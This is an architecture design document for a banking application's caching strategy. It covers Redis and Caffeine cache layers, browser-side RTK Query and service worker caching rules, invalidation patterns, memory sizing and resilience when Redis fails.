Caching Strategy — Where, What, How Much & Why

Version: 1.0
Date: April 15, 2026
Author: Architecture Team
Parent Doc: banking-application-architecture.md

Table of Contents

1. Why Caching Matters in Banking
2. Cache Architecture — Four Layers
3. Backend Redis Cache — The Core Layer
4. Frontend Cache — What Lives in the Browser
5. Backend vs. Frontend Cache — Decision Framework
6. What Data Goes Into Cache (And What Never Does)
7. How Much to Cache — Sizing & Memory Budget
8. Cache Invalidation — The Hard Problem
9. Cache Patterns — Which Pattern for Which Data
10. Stale Data Risk Analysis for Banking
11. Cache Failure Modes & Resilience
12. Service Worker Strategy — Depth & Boundaries
13. IndexedDB — Evaluated & Rejected
14. Monitoring & Observability
15. Security Considerations

---

1. Why Caching Matters in Banking

1.1 The Performance Problem Without Caching

```
Without cache:
──────────────
Dashboard load = Balance API + Recent 5 Txns + Loan EMI Due
               = 3 database queries on every page load
               = ~50ms + ~30ms + ~20ms = ~100ms DB time
               = × 100,000 active users checking dashboards
               = 10,000 DB queries/second just for dashboards
               = PostgreSQL primary becomes the bottleneck

With cache:
───────────
Dashboard load = Redis GET balance:{accountId}  (< 1ms, cache hit)
               + Redis GET recent-txns:{accountId}  (< 1ms, cache hit)
               + Redis GET loan-emi:{userId}  (< 1ms, cache hit)
               = ~3ms total (33x faster)
               = ~95% of requests never hit PostgreSQL
               = PostgreSQL handles only writes + cache misses
```

1.2 Cache Hit Rate Target

Service	Target Hit Rate	Impact if Missed
Account balance	> 95%	Every miss = DB query on primary (high-contention table)
User sessions	> 99%	Every miss = user re-authenticates (terrible UX)
OTP verification	100% (no miss allowed)	OTP only lives in cache — miss means auth failure
Recent transactions (top 5)	> 90%	Miss = query on partitioned table (10-50ms)
Rate limit counters	100%	Counters only exist in Redis — no DB backing
Config / feature flags	> 99%	Miss = call to Config Service (10-50ms)

2. Cache Architecture — Four Layers

```
┌──────────────────────────────────────────────────────────────────────────┐
│                              CACHE LAYERS                                 │
│                                                                           │
│  ┌──────────────────────────────────────────────────────────────────────┐
│  │ LAYER 1: BROWSER & CDN                                               │
│  │                                                                      │
│  │  ┌──────────────────────┐    ┌──────────────────────────────────┐   │
│  │  │ CDN (CloudFront)     │    │ Browser Cache                    │   │
│  │  │                      │    │                                  │   │
│  │  │ • Static assets:     │    │ • RTK Query in-memory:           │   │
│  │  │   JS/CSS/images      │    │   staleTime=30s for txn lists    │   │
│  │  │   TTL: 1 year        │    │   staleTime=60s for balances     │   │
│  │  │   (hashed filenames)│    │                                  │   │
│  │  │                      │    │ • Service Worker (Workbox):      │   │
│  │  │ • Public API resp:   │    │   App shell (HTML/CSS/JS/fonts) │   │
│  │  │   Exchange rates     │    │   Precache on install            │   │
│  │  │   Branch info        │    │   Stale-while-revalidate for     │   │
│  │  │   TTL: 5 min         │    │     static assets               │   │
│  │  │                      │    │   Network-first for API calls    │   │
│  │  │                      │    │   Offline fallback page          │   │
│  │  │                      │    │                                  │   │
│  │  │                      │    │ • NO localStorage/sessionStorage│   │
│  │  │                      │    │   for financial data             │   │
│  │  │                      │    │ • NO IndexedDB for financial     │   │
│  │  │                      │    │   data (see Section 13)          │   │
│  │  └──────────────────────┘    └──────────────────────────────────┘   │
│  └──────────────────────────────────────────────────────────────────────┘
│                                                                           │
│  ┌──────────────────────────────────────────────────────────────────────┐
│  │ LAYER 2: API GATEWAY CACHE                                           │
│  │                                                                      │
│  │ Redis at the gateway level:                                          │
│  │ • Rate limit counters:  INCR + EXPIRE per user per minute            │
│  │ • Idempotency keys:    SET NX EX 86400 (24h dedup)                   │
│  │ • JWT blacklist:       SET token-hash EX 900 (15-min token life)     │
│  │ • Public endpoints:    GET /exchange-rates cached 5 min              │
│  └──────────────────────────────────────────────────────────────────────┘
│                                                                           │
│  ┌──────────────────────────────────────────────────────────────────────┐
│  │ LAYER 3: APPLICATION CACHE (Per Microservice)                        │
│  │                                                                      │
│  │  ┌──────────────────────┐    ┌──────────────────────────────────┐   │
│  │  │ LOCAL (Caffeine)     │    │ DISTRIBUTED (Redis)              │   │
│  │  │ In-JVM, zero network│    │ Shared across all pods           │   │
│  │  │                      │    │                                  │   │
│  │  │ • Interest rate      │    │ • Account balances      60s      │   │
│  │  │   tables      30min  │    │ • User sessions         15m      │   │
│  │  │ • Branch metadata    │    │ • OTP codes              5m      │   │
│  │  │                10min│    │ • Recent txns (top 5)    30s      │   │
│  │  │ • Config/feature     │    │ • Risk scores            10m      │   │
│  │  │   flags        5min  │    │ • JWT blacklist          15m      │   │
│  │  │ • Enum lookups       │    │ • Distributed locks      10s      │   │
```

```
│   │   │                 1hr  │     │  • Idempotency keys        24h    │   │   │
│   │   │                      │     │  • Notification templates  1hr    │   │   │
│   │   │  Max entries: 10K    │     │  • Autocomplete popular    5min   │   │   │
│   │   │  Eviction: size-based│     │  • Report cache            15min  │   │   │
│   │   └──────────────────────┘     │                                   │   │   │
│   │                                │  Eviction: TTL + LRU              │   │   │
│   │                                └───────────────────────────────────┘   │   │
│   └────────────────────────────────────────────────────────────────────────┘   │
│                                                                                 │
│   ┌────────────────────────────────────────────────────────────────────────┐   │
│   │  LAYER 4: DATABASE CACHE                                               │   │
│   │                                                                        │   │
│   │  • PostgreSQL shared_buffers:  8GB (hot table pages in RAM)            │   │
│   │  • PgBouncer:  Connection pooling (300 app connections → 50 PG)        │   │
│   │  • Materialized Views:  Pre-computed aggregates (daily summaries)      │   │
│   │  • Elasticsearch Request Cache:  Shard-level, auto-invalidated         │   │
│   └────────────────────────────────────────────────────────────────────────┘   │
│                                                                                 │
└─────────────────────────────────────────────────────────────────────────────────┘
```

3. Backend Redis Cache — The Core Layer

3.1 What Goes Into Redis (And Why)

Data	Redis Key Pattern	TTL	Why Redis?
Account balance	`balance:{accountId}`	60s	Read 1000x/sec across all users. Short TTL because stale balance is a UX problem (not a safety issue — writes always go to PG).
User session	`session:{jwtTokenHash}`	15 min (access) / 7 days (refresh)	Every API request validates the session. Must be sub-ms. Checking PG on every request is not feasible at scale.
OTP code	`otp:{userId}`	5 min	OTP is ephemeral by nature. No reason to persist to disk. Redis TTL provides auto-expiry — the OTP simply vanishes after 5 minutes.
Recent transactions (top 5)	`recent-txns:{accountId}`	30s	Dashboard shows last 5 txns. Querying PG's partitioned table for every dashboard load is wasteful.
Distributed lock	`lock:{accountId}`	10s	Prevents concurrent debit/credit on the same account. Must be atomic (`SET NX EX`). Only Redis provides this primitive at sub-ms latency.
Idempotency key	`idempotency:{key}`	24h	Deduplicates retry requests. Must survive across pods (distributed).
Rate limit counter	`rate:{userId}:{minute}`	60s	Sliding window counter. `INCR` + `EXPIRE` . Atomic, distributed, auto-expiring.
JWT blacklist	`blacklist:{tokenHash}`	15 min	On logout, token is blacklisted until its natural expiry. Short-lived, high-read.
Fraud risk score	`risk:{userId}`	10 min	Computed by ML pipeline, read by Transaction Service before processing. Caching avoids per-txn ML inference.
Notification templates	`template:{type}:{lang}`	1 hour	SMS/email templates change rarely. Cached to avoid DB reads on every notification.

3.2 Redis Data Structure Choices

Data	Structure	Why This Structure
Balance	`STRING`	Simple GET/SET. Atomic overwrite on invalidation.
Session	`HASH`	`{ userId, roles, accountIds, createdAt }` — fields readable individually without deserializing.
Recent txns	`LIST` (capped to 5)	`LPUSH` + `LTRIM` keeps the 5 most recent. O(1) push, O(1) trim.
Rate limit	`STRING` (counter)	`INCR` is atomic. `EXPIRE` sets the window.
Lock	`STRING` with `NX EX`	`SET lockKey requestId NX EX 10` — atomic conditional set with auto-expiry.
Idempotency	`STRING` (response JSON)	`SET NX EX 86400` stores the cached response. `NX` ensures first-write-wins.
Risk scores	`HASH`	`{ score, factors[], computedAt }` — structured data, partial reads.

3.3 Redis Memory Allocation

```
Total Redis Cluster Memory: 3 masters × 13GB usable = ~39GB usable

┌──────────────────────────────────────────────────────────────┐
│  Memory Budget by Data Type                                  │
│                                                              │
│  Sessions          |  ~8 GB   |  500K active sessions × 1KB  |
│  Balances          |  ~2 GB   |  2M accounts × 100B          |
│  OTP codes         |  ~0.1 GB |  50K concurrent OTPs × 200B  |
│  Recent txns       |  ~5 GB   |  2M accounts × 5 txns × 500B |
│  Rate limits       |  ~1 GB   |  100K active counters × 100B |
│  Locks             |  ~0.01 GB|  1K concurrent locks × 100B  |
│  Idempotency keys  |  ~3 GB   |  1M keys/day × 500B × 24h    |
│  Risk scores       |  ~1 GB   |  500K users × 200B           |
│  JWT blacklist     |  ~0.5 GB |  100K tokens × 100B          |
│  Templates/config  |  ~0.1 GB |  Small, static               |
│  ──────────────────────────────────────────────────────────│
│  TOTAL:            |  ~21 GB  |  Headroom: ~18 GB (46%)      |
│                                                              |
│  RULE: Redis memory usage must stay below 75% of allocated.  |
│  Alert at 80%. Eviction policy: allkeys-lru (never crash OOM). |
└──────────────────────────────────────────────────────────────┘
```

4. Frontend Cache — What Lives in the Browser

4.1 RTK Query Cache (In-Memory Only)

RTK Query (Redux Toolkit Query) provides an in-memory cache that lives only in the React application's runtime. It is automatically garbage-collected when the user closes the tab.

```
// Transaction list — cached for 30 seconds
const transactionApi = createApi({
  reducerPath: 'transactionApi',
  baseQuery: fetchBaseQuery({ baseUrl: '/api/v1' }),
  tagTypes: ['Transactions', 'Balance'],
  endpoints: (builder) => ({

    getTransactions: builder.query<TransactionPage, TransactionFilters>({
      query: (filters) => ({
        url: '/transactions',
        params: encodeFilters(filters),
      }),
      providesTags: ['Transactions'],
      keepUnusedDataFor: 30,  // garbage collect unused cache after 30s
    }),

    getBalance: builder.query<BalanceResponse, string>({
      query: (accountId) => `/accounts/${accountId}/balance`,
      providesTags: ['Balance'],
      keepUnusedDataFor: 60,  // balance cached 60s before GC
    }),
  }),
});
```

4.2 What the Frontend Caches

Data	Cache Location	Duration	Invalidation
Transaction list (current filter)	RTK Query (memory)	30s `staleTime`	Filter change, manual refetch, WebSocket event
Account balance	RTK Query (memory)	60s `staleTime`	Transfer event, WebSocket push
User profile	RTK Query (memory)	5 min	Logout, profile update
Static assets (JS/CSS/images)	CDN + browser HTTP cache	1 year	Filename hash change on deploy
App shell (HTML/CSS/JS/fonts)	Service Worker (precache)	Until new SW version	SW update on deploy (see Section 12)
Offline fallback page	Service Worker (CacheStorage)	Until new SW version	Shows "You are offline" with last-viewed account summary
Financial data in localStorage	**NEVER**	**N/A**	**Security policy: no financial data persisted in browser storage**
Financial data in IndexedDB	**NEVER**	**N/A**	**Security policy: same risk as localStorage (see Section 13)**

4.3 What the Frontend NEVER Caches

```
┌──────────────────────────────────────────────────────────────────┐
│  FRONTEND CACHE EXCLUSION LIST (Security Policy)                  │
│                                                                   │
│  NEVER stored in localStorage / sessionStorage / IndexedDB:       │
│                                                                   │
│  ✗ Account balances                                               │
│  ✗ Transaction details (amounts, descriptions, merchant names)    │
│  ✗ Account numbers (even masked)                                  │
│  ✗ JWT tokens (stored only in httpOnly cookie, not JS-accessible)│
│  ✗ OTP codes                                                      │
│  ✗ PII (name, email, phone, Aadhaar, PAN)                        │
│  ✗ Loan details (amount, EMI, schedule)                           │
│  ✗ Offline transaction drafts (risk of tampering)                 │
│                                                                   │
│  WHY (applies to localStorage, sessionStorage, AND IndexedDB):    │
│  • All three persist data to disk — survives tab close            │
│  • Stolen/lost device exposes all persisted data                  │
│  • XSS vulnerability can read all JS-accessible storage APIs      │
│  • IndexedDB is NOT encrypted at rest on most browsers            │
│  • RTK Query memory cache is volatile — cleared on tab close      │
│  • Banking compliance (PCI-DSS, RBI) requires minimal data        │
│    exposure on client devices                                     │
│  • See Section 13 for detailed IndexedDB analysis                 │
│                                                                   │
│  On LOGOUT: sensitiveDataGuard.ts clears ALL in-memory state      │
│  including RTK Query cache, Redux store, and any pending requests│
└──────────────────────────────────────────────────────────────────┘
```

---

5. Backend vs. Frontend Cache — Decision Framework

5.1 Where to Push Cache: Decision Tree

```
Data needs to be cached
      │
      ▼
Is it sensitive/financial data?
      │
  ┌───┴───┐
  │ YES   │ NO
  │       │
  ▼       ▼
Backend   Can it be served from CDN?
(Redis)         │
only        ┌───┴───┐
            │ YES   │ NO
            │       │
            ▼       ▼
         CDN      Is it user-specific?
        (static        │
        assets)    ┌───┴───┐
                   │ YES   │ NO
                   │       │
                   ▼       ▼
            Frontend    Both:
            (RTK Query   API Gateway Cache (Redis)
            in-memory    + Frontend (RTK Query)
            + Backend
            Redis)
```

5.2 Summary Matrix

Data	Frontend (RTK Query)	Backend (Redis)	CDN	Reasoning
Account balance	In-memory, 60s stale	`balance:{id}` 60s TTL	No	Sensitive. Short-lived in frontend (memory only). Redis as the shared cache across BFF instances.
Transaction list	In-memory, 30s stale	Not cached (fetched from PG/ES per request)	No	Result depends on filters — too many combinations to cache in Redis. Frontend staleTime prevents redundant API calls during pagination.
Recent 5 txns (dashboard)	In-memory, 30s stale	`recent-txns:{id}` 30s TTL	No	High-frequency read (every dashboard load). Redis cache eliminates PG queries.
Exchange rates	In-memory, 5min stale	API Gateway, 5min	Yes (5min)	Public data, same for all users. CDN + gateway cache handles it.
Branch info	In-memory, 1hr stale	Local (Caffeine) 1hr	Yes (1hr)	Static data. CDN for global, Caffeine for service-local.
User session	httpOnly cookie	`session:{hash}` 15min	No	Session validation on every request must be sub-ms → Redis.
Interest rate tables	Not cached in frontend	Local (Caffeine) 30min	No	Backend-only data used for EMI calculation. No frontend need.
Feature flags	In-memory (on login)	Local (Caffeine) 5min	No	Fetched once on login, cached in Redux store.

5.3 Why Not Cache Everything in Redis?

Problem	Detail
Memory cost	Redis memory is expensive (~$50/GB/month on ElastiCache). Caching entire transaction lists for 2M accounts would need 100s of GB.
Combinatorial explosion	Transaction lists depend on 6 filter dimensions. Caching every filter combination is infeasible.
Invalidation complexity	Every new transaction would need to invalidate multiple cached lists (by account, by category, by date range). The invalidation logic becomes more complex than the query itself.
Diminishing returns	PostgreSQL with proper indexes serves filter queries in 10-50ms. Redis would save 9-49ms. Not worth the complexity for queries that vary by filter.

Rule: Cache the atoms, not the aggregates. Cache individual balances and recent txns (atoms). Don't cache filtered, paginated, sorted transaction lists (aggregates).

---

6. What Data Goes Into Cache (And What Never Does)

6.1 Cache Eligibility Criteria

```
┌──────────────────────────────────────────────────────────────────────┐
│              CACHE ELIGIBILITY DECISION MATRIX                        │
│                                                                       │
│  Score each dimension 1-5. Total > 12 = CACHE. Total < 8 = NO CACHE  │
│                                                                       │
│  Dimension           │ Score Guide                                    │
│  ──────────          │ ───────────                                    │
│  Read frequency      │ 1=rare → 5=every request                       │
│  Computation cost    │ 1=trivial → 5=expensive query/computation      │
│  Staleness tolerance│ 1=must be real-time → 5=hours old is fine      │
│  Data stability      │ 1=changes every second → 5=changes weekly      │
│  Cache key simplicity│ 1=complex combo → 5=single key                 │
│                                                                       │
│  Example Scoring:                                                     │
│  ────────────────                                                     │
│  Account balance:     Read=5, Cost=3, Stale=2, Stable=2, Key=5 → 17 ✓│
│  Session validation:  Read=5, Cost=2, Stale=1, Stable=3, Key=5 → 16 ✓│
│  Filtered txn list:   Read=3, Cost=3, Stale=2, Stable=2, Key=1 → 11 ✗│
│  Interest rate table: Read=4, Cost=2, Stale=4, Stable=5, Key=5 → 20 ✓│
│  Transfer in progress:Read=1, Cost=4, Stale=1, Stable=1, Key=3 → 10 ✗│
└──────────────────────────────────────────────────────────────────────┘
```

6.2 Never-Cache List

Data	Why Not
In-flight transfer state	Staleness of even 1 second can cause double-spend. Always read from PG with row-level lock.
Loan approval decision	Business-critical decision. Must be computed fresh from current data (credit score, income, existing EMIs).
Fraud detection result	ML model must evaluate real-time features. Cached risk scores are input, but the final decision is live.
Compliance reports	Must reflect exact DB state at query time. Regulators require point-in-time accuracy.
Filtered transaction lists	Combinatorial key space makes caching impractical (see section 5.3).
PDF statements	Large binary files. Stored in S3, not Redis. S3 presigned URLs serve as download links.

7. How Much to Cache — Sizing & Memory Budget

7.1 Redis Cluster Sizing

```
Cluster: 3 masters + 3 replicas
Instance: cache.r6g.xlarge (4 vCPU, 26.32 GB RAM, ~13 GB usable per node)
Total usable: ~39 GB across cluster

┌──────────────────────────────────────────────────────────────────┐
│  MEMORY BUDGET BREAKDOWN                                         │
│                                                                  │
│  Category                 │ Items        │ Per Item │ Total      │
│  ────────────────────────┼──────────────┼──────────┼────────────│
│  Sessions (active)        │   500,000    │   1 KB   │   ~500 MB  │
│  Sessions (refresh)       │ 2,000,000    │   200 B  │   ~400 MB  │
│  Account balances         │ 2,000,000    │   100 B  │   ~200 MB  │
│  Recent txns (lists)      │ 2,000,000    │  2.5 KB  │  ~5,000 MB │
│  OTP codes                │    50,000    │   200 B  │    ~10 MB  │
│  Rate limit counters      │   100,000    │   100 B  │    ~10 MB  │
│  Distributed locks        │     1,000    │   100 B  │    ~0.1 MB │
│  Idempotency keys (24h)   │ 1,000,000    │   500 B  │   ~500 MB  │
│  JWT blacklist            │   100,000    │   100 B  │    ~10 MB  │
│  Risk scores              │   500,000    │   200 B  │   ~100 MB  │
│  Notification templates   │       200    │  5 KB    │     ~1 MB  │
│  Report cache             │     5,000    │  10 KB   │    ~50 MB  │
│  Autocomplete cache       │       100    │   1 KB   │    ~0.1 MB │
│  ────────────────────────┼──────────────┼──────────┼────────────│
│  SUBTOTAL                 │              │          │  ~6,781 MB │
│  Redis overhead (~30%)    │              │          │  ~2,034 MB │
│  ────────────────────────┼──────────────┼──────────┼────────────│
│  TOTAL                    │              │          │  ~8,815 MB │
│  Available                │              │          │ ~39,000 MB │
│  Utilization              │              │          │    ~23%    │
│  Headroom                 │              │          │    ~77%    │
└──────────────────────────────────────────────────────────────────┘

Good. 23% utilization with 77% headroom for growth.
Alert at 60%. Investigate at 70%. Emergency at 80%.
```

7.2 Caffeine (Local Cache) Sizing

```
Per-pod local cache (Caffeine, in-JVM):

Max entries: 10,000
Max memory: ~50MB per pod

Data cached locally:
• Interest rate tables: ~200 entries, 10KB
• Branch metadata: ~5,000 entries, 2MB
• Feature flags: ~100 entries, 5KB
• Enum lookups: ~500 entries, 50KB
• Config properties: ~200 entries, 10KB

Total: < 5MB per pod. Negligible JVM heap impact.
```

---

8. Cache Invalidation — The Hard Problem

8.1 Invalidation Strategies by Data Type

Data	Pattern	Invalidation Trigger	How It Works
Account balance	Cache-Aside + Event-Driven	Kafka `balance.changed` event	Consumer receives event → `DEL balance:{accountId}`. Next read populates cache from PG. TTL=60s as safety net if event is lost.
User session	Write-Through	Login writes to Redis + PG simultaneously	Session always consistent. Logout → `DEL session:{hash}`.
OTP code	TTL auto-expire	N/A (self-expiring)	`SET otp:{userId} {code} EX 300`. After 5 minutes, Redis deletes it. No explicit invalidation needed.
Recent txns	Write-Behind + Event-Driven	Kafka `txn.completed` event	Consumer receives event → `LPUSH recent-txns:{accountId}` + `LTRIM 0 4`. TTL=30s as safety net.
Interest rates	TTL-Based Refresh	Expires every 30 min	Caffeine cache evicts after 30min. Next read fetches from Config DB. No event-driven invalidation — rates change infrequently.
JWT blacklist	Write-Through	Logout → add to blacklist	`SET blacklist:{hash} 1 EX 900` (15-min token lifetime). Self-expiring after token would have expired anyway.
Distributed lock	Auto-expire	Release after saga or timeout	`SET lock:{id} {requestId} NX EX 10`. Lock auto-expires in 10s if holder crashes.
Report cache	TTL + Manual Invalidate	Expires every 15 min. Admin can force-invalidate.	`SET report:{key} {data} EX 900`. Admin panel has "Clear Cache" button for report data.

8.2 Event-Driven Invalidation Flow (Balance Example)

```
Transaction        Account          Kafka              Cache Invalidation    Redis
Service            Service          (account-events)   Consumer
   |                  |                |                    |                  |
   |── Debit ────────►|                |                    |                  |
   |                  |── UPDATE PG    |                    |                  |
   |                  |── PUBLISH ────►|                    |                  |
   |◄── Debited ──────|                |                    |                  |
   |                  |                |── Consume ────────►|                  |
   |                  |                |                    |── DEL balance:A ►|
   |                  |                |                    |                  |── Deleted
   |                  |                |                    |                  |
   |                  |                |  (typically < 100ms end-to-end)       |
```

8.3 Cache Stampede Prevention

When a popular cache key expires, hundreds of concurrent requests may hit the database simultaneously — a "thundering herd" or "cache stampede."

Mitigation strategies used:

Strategy	Where Applied	How It Works
Lock-based rebuild	Account balance	Only one request rebuilds the cache. Others wait 50ms and retry reading from cache.
Stale-while-revalidate	Recent txns	Serve stale data while one request refreshes in the background.
Jittered TTL	All TTL-based caches	Instead of TTL=60s for all keys, use TTL=55s+random(10s). Prevents all keys from expiring simultaneously.

```java
public BigDecimal getBalance(String accountId) {
    String key = "balance:" + accountId;
    String cached = redis.get(key);
    if (cached ≠ null) return new BigDecimal(cached);

    // Lock-based rebuild: only one thread fetches from DB
    String lockKey = "balance-rebuild:" + accountId;
    if (redis.setIfAbsent(lockKey, "1", Duration.ofSeconds(5))) {
        try {
            BigDecimal balance = accountRepository.findBalanceByAccountId(accountId);
            int jitter = ThreadLocalRandom.current().nextInt(0, 10);
            redis.setEx(key, Duration.ofSeconds(55 + jitter), balance.toString());
            return balance;
        } finally {
            redis.delete(lockKey);
        }
    } else {
        // Another thread is rebuilding. Wait briefly and read from cache.
        Thread.sleep(50);
        cached = redis.get(key);
        if (cached ≠ null) return new BigDecimal(cached);
        // Still no cache — fall through to DB (rare)
        return accountRepository.findBalanceByAccountId(accountId);
    }
}
```

9. Cache Patterns — Which Pattern for Which Data

9.1 Pattern Catalog

```
┌──────────────────────────────────────────────────────────────────┐
│  CACHE-ASIDE (Lazy Loading)                                      │
│                                                                  │
│  App ──read──▶ Cache ──miss──▶ DB ──write──▶ Cache               │
│                    │                                             │
│                  hit ──▶ return                                  │
│                                                                  │
│  Used for: Account balances, risk scores                         │
│  Pros: Only requested data is cached. No write overhead.         │
│  Cons: First request always slow (cold start). Stale data possible.  │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│  WRITE-THROUGH                                                   │
│                                                                  │
│  App ──write──▶ Cache + DB (synchronous, both succeed or fail)   │
│                                                                  │
│  Used for: User sessions, JWT blacklist                          │
│  Pros: Cache always consistent with DB. No stale data.           │
│  Cons: Write latency increases (two writes). Unused data may fill  │
│        cache.                                                    │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│  WRITE-BEHIND (Write-Back)                                       │
│                                                                  │
│  App ──write──▶ Cache (immediate) ──async──▶ DB (batch/delayed)  │
│                                                                  │
│  Used for: Recent transactions list (LPUSH to Redis, Kafka to PG)  │
│  Pros: Fast writes. Batching reduces DB load.                    │
│  Cons: Risk of data loss if cache crashes before DB write. NOT used  │
│        for financial data - only for derived/supplementary data.  │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│  TTL-BASED (Refresh on Expire)                                   │
│                                                                  │
│  App ──read──▶ Cache ──expired?──▶ Fetch from source ──update cache  │
│                                                                  │
│  Used for: Interest rates, config, branch metadata, feature flags  │
│  Pros: Simplest pattern. No invalidation logic.                  │
│  Cons: Data can be stale up to TTL duration.                     │
│        Acceptable for slowly-changing reference data.            │
└──────────────────────────────────────────────────────────────────┘
```

9.2 Pattern-to-Data Mapping

Data	Pattern	TTL	Write Path	Read Path
Account balance	Cache-Aside + Event-Driven	60s	PG → Kafka event → evict Redis	Redis → miss → PG → Redis
User session	Write-Through	15min / 7d	Redis + PG simultaneously	Redis (always hit)
OTP codes	TTL (cache-only)	5min	Redis only (no PG)	Redis (miss = expired = invalid OTP)
Recent txns	Write-Behind + Event	30s	Kafka event → update Redis list	Redis → miss → PG → Redis
Interest rates	TTL (Caffeine)	30min	Config DB (infrequent writes)	Caffeine → miss → Config DB
Distributed lock	TTL (cache-only)	10s	Redis only (no PG)	Redis
Rate limits	TTL (cache-only)	60s	Redis INCR only	Redis

10. Stale Data Risk Analysis for Banking

10.1 Staleness Impact Matrix

Data	Max Acceptable Staleness	What Happens If Stale	Risk Level	Mitigation
Account balance	60 seconds	User sees old balance. Not a safety issue — the real balance is in PG. Transfers always check PG, not cache.	**Low** (UX annoyance)	Event-driven invalidation + 60s TTL
Session	0 seconds (write-through)	If stale, a logged-out user might still be authenticated.	**High** (security)	Write-through on login/logout. No TTL-only invalidation.
OTP code	0 seconds (cache is source)	If Redis loses the OTP, user must request a new one.	**Medium** (UX friction)	Redis persistence (AOF) + cluster replication
Rate limits	~1 second	User might get 1-2 extra requests through.	**Low**	Acceptable. Rate limits are defense-in-depth, not exact.
Interest rates	30 minutes	Loan EMI might be calculated with slightly outdated rate.	**Low**	Rates change monthly at most. 30-min staleness is fine.
Feature flags	5 minutes	Feature might be visible/hidden for a few minutes after toggle.	**Low**	Acceptable for gradual rollouts.

10.2 Critical Rule: Writes Never Trust Cache

```
┌──────────────────────────────────────────────────────────────┐
│  GOLDEN RULE: READS CAN USE CACHE. WRITES MUST HIT THE DATABASE. │
│                                                                  │
│  ✓ "Show me my balance" → Read from Redis (cached)               │
│  ✗ "Transfer ₹5,000"   → Read balance from PG (SELECT FOR UPDATE)│
│                                                                  │
│  The cache is an optimization for reads, not a source of truth    │
│  for writes. Financial mutations always go through PostgreSQL     │
│  with row-level locking and ACID guarantees.                     │
└──────────────────────────────────────────────────────────────┘
```

11. Cache Failure Modes & Resilience

11.1 Redis Down — What Happens?

```
┌──────────────────────────────────────────────────────────────────┐
│  REDIS FAILURE IMPACT ANALYSIS                                   │
│                                                                  │
│  Component           | Impact                | Fallback          |
│  ────────────────────┼───────────────────────┼─────────────────── │
│  Balance cache       | Reads go to PG        | PG handles load   |
│                      | (higher latency)      | (read replica)    |
│                      |                       |                   |
│  Sessions            | All users logged out  | Re-login required |
│                      | (CRITICAL)            | PG session backup |
│                      |                       | (degraded mode)   |
│                      |                       |                   |
│  OTP verification    | All OTPs lost         | Users must request |
│                      | (CRITICAL)            | new OTP           |
│                      |                       |                   |
│  Distributed locks   | Cannot acquire locks  | Fallback to PG    |
│                      | (CRITICAL for txns)   | advisory locks    |
│                      |                       |                   |
│  Rate limiting       | No rate limits active | WAF rate limits   |
│                      | (HIGH risk)           | still active      |
│                      |                       |                   |
│  Idempotency         | Duplicate requests    | DB-level          |
│                      | may process twice     | unique constraint |
└──────────────────────────────────────────────────────────────────┘
```

11.2 Redis Resilience Measures

Measure	Detail
Cluster mode	3 masters + 3 replicas across 3 AZs. Single master failure → replica promotes in < 10 seconds.
AOF persistence	Append-only file with `fsync every second`. At most 1 second of data loss on crash.
Circuit breaker	Resilience4j circuit breaker on Redis calls. If Redis is unreachable, fall back to PG immediately instead of timing out.
PG advisory locks	If Redis locks are unavailable, degrade to `SELECT pg_advisory_xact_lock(hashtext(accountId))`. Slower but functional.
Session backup	Sessions are written to both Redis (primary) and PG (backup). If Redis dies, sessions can be loaded from PG (slower but prevents mass logout).

12. Service Worker Strategy — Depth & Boundaries

12.1 Why Service Workers in a Banking App

A Service Worker (SW) is a browser-side proxy that intercepts network requests. In banking, its role is narrow but important:

- **App shell caching:** The login screen, navigation, UI framework, and static assets load instantly from SW cache even on slow 3G connections.
- **Offline fallback:** Instead of a browser error page when offline, users see a branded "You are offline" page with clear messaging.
- **Background sync (limited):** NOT used for financial transactions. Only used for non-sensitive analytics pings.

```
┌──────────────────────────────────────────────────────────────────────────┐
│                    SERVICE WORKER ARCHITECTURE                           │
│                                                                          │
│  ┌──────────────────────────────────────────────────────────────────┐   │
│  │  WHAT THE SERVICE WORKER CACHES (Workbox)                        │   │
│  │                                                                  │   │
│  │  PRECACHE (on SW install):                                       │   │
│  │  ┌──────────────────────────────────────────────────────────┐   │   │
│  │  │  • App shell: index.html, main.[hash].js, vendor.[hash].js │   │   │
│  │  │  • CSS bundles: styles.[hash].css                        │   │   │
│  │  │  • Web fonts: Inter, Roboto Mono                         │   │   │
│  │  │  • Offline fallback page: /offline.html                  │   │   │
│  │  │  • App icons and logo assets                             │   │   │
│  │  │                                                          │   │   │
│  │  │  Strategy: Cache-first                                   │   │   │
│  │  │  Total size: ~2-3 MB (hashed filenames for versioning)   │   │   │
│  │  └──────────────────────────────────────────────────────────┘   │   │
│  │                                                                  │   │
│  │  RUNTIME CACHE (on first fetch):                                 │   │
│  │  ┌──────────────────────────────────────────────────────────┐   │   │
│  │  │  • CDN images: Stale-while-revalidate, max 50 entries    │   │   │
│  │  │  • Google Fonts: Cache-first, max 30 entries             │   │   │
│  │  │  • Public API (exchange rates, branch info):             │   │   │
│  │  │    Network-first with 5-min cache fallback               │   │   │
│  │  └──────────────────────────────────────────────────────────┘   │   │
│  │                                                                  │   │
│  │  WHAT THE SERVICE WORKER NEVER CACHES:                           │   │
│  │  ┌──────────────────────────────────────────────────────────┐   │   │
│  │  │  ✗ ANY /api/* responses (financial data, user data)      │   │   │
│  │  │  ✗ Authentication endpoints (/login, /verify-otp, /refresh) │   │   │
│  │  │  ✗ POST/PUT/DELETE requests (mutations)                  │   │   │
│  │  │  ✗ WebSocket connections                                 │   │   │
│  │  │                                                          │   │   │
│  │  │  Strategy for /api/*: Network-only (SW passes through)   │   │   │
│  │  │  If network fails: return offline fallback page          │   │   │
│  │  └──────────────────────────────────────────────────────────┘   │   │
│  └──────────────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────────────┘
```

12.2 Service Worker Caching Strategies by Route

Route / Resource	SW Strategy	Rationale
`index.html`	**Network-first** (fallback to cache)	Must serve latest HTML to pick up new JS bundle hashes. If offline, cached version still loads the app shell.
`*.js`, `*.css` (hashed)	**Cache-first**	Content-addressable filenames (`main.a3f2b1.js`). If the hash is in cache, it's guaranteed to be correct. Never stale.
Web fonts	**Cache-first**	Fonts don't change. Cache indefinitely.
`/api/*` (all API calls)	**Network-only**	Financial data must always come from the server. SW does not intercept or cache API responses. If network fails, the fetch promise rejects and RTK Query shows an error state.
`/auth/*`	**Network-only**	Authentication must never be cached or replayed from SW.
Images (CDN)	**Stale-while-revalidate**	Show cached image immediately, update in background. Max 50 entries, LRU eviction.
